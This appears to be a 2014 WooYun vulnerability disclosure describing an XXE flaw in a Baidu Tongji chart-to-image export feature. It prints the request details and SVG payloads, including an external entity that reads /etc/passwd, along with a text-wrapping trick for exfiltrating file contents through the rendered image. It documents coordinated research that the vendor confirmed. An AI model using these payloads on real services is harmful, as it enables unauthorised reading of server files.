当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-058381

漏洞标题:百度某功能XML实体注入

相关厂商:百度

漏洞作者: gainover

提交时间:2014-04-25 10:26

修复时间:2014-06-09 10:27

公开时间:2014-06-09 10:27

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-25: 细节已通知厂商并且等待厂商处理中
2014-04-25: 厂商已经确认,细节仅向厂商公开
2014-05-05: 细节向核心白帽子及相关领域专家公开
2014-05-15: 细节向普通白帽子公开
2014-05-25: 细节向实习白帽子公开
2014-06-09: 细节向公众公开

简要描述:

本来是测XSS的,结果捡个XXE。。

详细说明:

1. 站点是:http://tongji.baidu.com/data/mobile/brand,找到最下面,有一个下载图片的功能,点击【下载图片】并抓包,可以得到以下请求。

POST http://tongji.baidu.com/data/mobile/chart/save
st 1388505600000
et 1396195200000
reportId 300
format jpg
charts ["<svg style=\"overflow: hidden; position: relative;\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"730\" version=\"1.1\" height=\"880\">..此处省略...</svg>"]


2. 可以看出该页面功能是,将用户输入的svg转换为对应的JPG图片。
3. 因为svg本身是基于xml,那么这里会不会存在xxe漏洞呢?
4. 先保守的试试是否支持 xml entity

["<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE svg[<!ENTITY test \"aaaaaaaaaaaaaaaa\">]><svg style=\"overflow: hidden; position: relative;\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"730\" version=\"1.1\" height=\"880\"><path transform=\"matrix(1,0,0,1,0,0)\" fill=\"#eaedf2\" stroke=\"none\" d=\"M40.5,805.5L40.5,620.64L62.825,619.92L85.15,614.88L107.475,616.59L129.8,615.78L152.125,617.13L174.45,618.75L196.775,618.84L219.1,621L241.42499999999998,616.14L263.75,617.49L286.075,618.66L308.4,615.78L330.72499999999997,617.6700000000001L353.05,620.91L375.375,622.89L397.7,616.77L420.025,618.03L442.34999999999997,619.29L464.675,618.5699999999999L487,620.73L509.325,621.9L531.65,623.16L553.975,617.76L576.3,617.49L598.625,617.85L620.9499999999999,621L643.275,621.63L665.6,623.88L687.925,624.06L710.25,619.83L710.25,805.5Z\"></path><text transform=\"matrix(1,0,0,1,0,0)\" x=\"0\" y=\"42\" width=\"730\" height=\"2000\" text-anchor=\"start\" font=\"12px Arial\" stroke=\"none\" fill=\"#4b5473\" font-size=\"12px\"><tspan dy=\"10.903846153846155\">&test;</tspan></text></svg>"]


通过以下地址
http://tongji.baidu.com/data/download/?st=1393603200000&et=1396195200000&reportId=300&format=jpg&img=【save操作得到的文件名】&type=download
下载图片,得到:

_2014.03-2014.03.jpg


可以看到,xml entity 没问题。
5. 然后,我们试试external entity

["<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE svg[<!ENTITY test SYSTEM \"file:///etc/passwd\">]><svg style=\"overflow: hidden; position: relative;\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"730\" version=\"1.1\" height=\"880\"><path transform=\"matrix(1,0,0,1,0,0)\" fill=\"#eaedf2\" stroke=\"none\" d=\"M40.5,805.5L40.5,620.64L62.825,619.92L85.15,614.88L107.475,616.59L129.8,615.78L152.125,617.13L174.45,618.75L196.775,618.84L219.1,621L241.42499999999998,616.14L263.75,617.49L286.075,618.66L308.4,615.78L330.72499999999997,617.6700000000001L353.05,620.91L375.375,622.89L397.7,616.77L420.025,618.03L442.34999999999997,619.29L464.675,618.5699999999999L487,620.73L509.325,621.9L531.65,623.16L553.975,617.76L576.3,617.49L598.625,617.85L620.9499999999999,621L643.275,621.63L665.6,623.88L687.925,624.06L710.25,619.83L710.25,805.5Z\"></path><text transform=\"matrix(1,0,0,1,0,0)\" x=\"0\" y=\"42\" width=\"730\" height=\"2000\" text-anchor=\"start\" font=\"12px Arial\" stroke=\"none\" fill=\"#4b5473\" font-size=\"12px\"><tspan dy=\"10.903846153846155\">&test;</tspan></text></svg>"]


恩,发现也是可以的,如下图:

_2014.03-2014.03 (1).jpg


6. 但是有一个比较恶心的问题,就是图片上显示不全。。。svg本身的text也不支持自动换行。怎么办呢?
这里我结合了 textPath 标签,自己来给图片画上很多条路径,然后让文本跟随这些路径,这样就可以自动换行了~~,像下面这样的:

xxe.jpg


7. 看看实际获取文件内容的效果,还不错吧~

xxe2.jpg


当然,我们也可以用ocr将文字从图片上自动识别出来。试了试pdf自带的,效果有点渣。

漏洞证明:

见详细说明

修复方案:

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-04-25 10:59

厂商回复:

感谢提交,我们会立即处理此问题。
--“百度,因你更安全”

最新状态:

暂无